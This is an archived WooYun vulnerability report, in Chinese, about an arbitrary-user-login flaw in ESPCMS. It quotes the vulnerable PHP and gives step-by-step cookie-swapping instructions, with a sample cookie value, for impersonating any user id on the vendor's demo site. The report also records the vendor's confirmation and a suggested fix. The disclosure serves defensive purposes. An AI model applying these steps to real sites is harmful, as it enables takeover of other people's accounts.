当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-090324

漏洞标题:ESPCMS所有版本任意用户登陆

相关厂商:易思ESPCMS企业网站管理系统

漏洞作者: 夕风号

提交时间:2015-01-06 18:21

修复时间:2015-04-06 18:22

公开时间:2015-04-06 18:22

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-06: 细节已通知厂商并且等待厂商处理中
2015-01-07: 厂商已经确认,细节仅向厂商公开
2015-01-10: 细节向第三方安全合作伙伴开放
2015-03-03: 细节向核心白帽子及相关领域专家公开
2015-03-13: 细节向普通白帽子公开
2015-03-23: 细节向实习白帽子公开
2015-04-06: 细节向公众公开

简要描述:

ESPCMS所有版本任意用户登陆

详细说明:

/interface/memebermain.php

$rsMember['userid'] = $this->ec_member_username_id;
$rsMember['rankname'] = $this->get_member_purview($rsMember['mcid'], 'rankname');
$userid = intval($rsMember['userid']);


跟进ec_member_username_id
/public/class_connector.php

$user_info = explode('|', $this->fun->eccode($this->fun->accept('ecisp_member_info', 'C'), 'DECODE', db_pscode));     //取自$_COOKIE['ecisp_member_info']
list($ec_member_username_id, $this->ec_member_alias, $ec_member_integral, $ec_member_mcid, $this->ec_member_email, $this->ec_member_lastip, $this->ec_member_ipadd, $this->ec_member_useragent, $this->ec_member_adminclassurl) = $user_info;
$this->ec_member_username_id = intval($ec_member_username_id);


综上所述,$userid值完全可控,以http://demo.ecisp.cn为例,利用过程如下:
1.
注册,
http://demo.ecisp.cn/index.php?ac=member&at=reg
假设我们要登陆$userid=3的用户,则用户名为3test

1.PNG


2.
登陆后,查看cookie,得到

ecisp_member_username=C50S%2BB7auih2gDPIqEsfCZAX5nybIUZ%2FgbPTQp%2F6gm0%3D


3.
将cookie中的ecisp_member_info值更改为上述ecisp_member_username值,得,

ecisp_member_info=C50S%2BB7auih2gDPIqEsfCZAX5nybIUZ%2FgbPTQp%2F6gm0%3D


此时,经过解密处理,可得
$userid=$this->ec_member_username_id=intval('3test')=3
4.
再次刷新,http://demo.ecisp.cn/index.php?ac=membermain&at=center

2.PNG

漏洞证明:

修复方案:

改用session

版权声明:转载请注明来源 夕风号@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-01-07 11:43

厂商回复:

感谢您的提交,我们会尽快修复!

最新状态:

暂无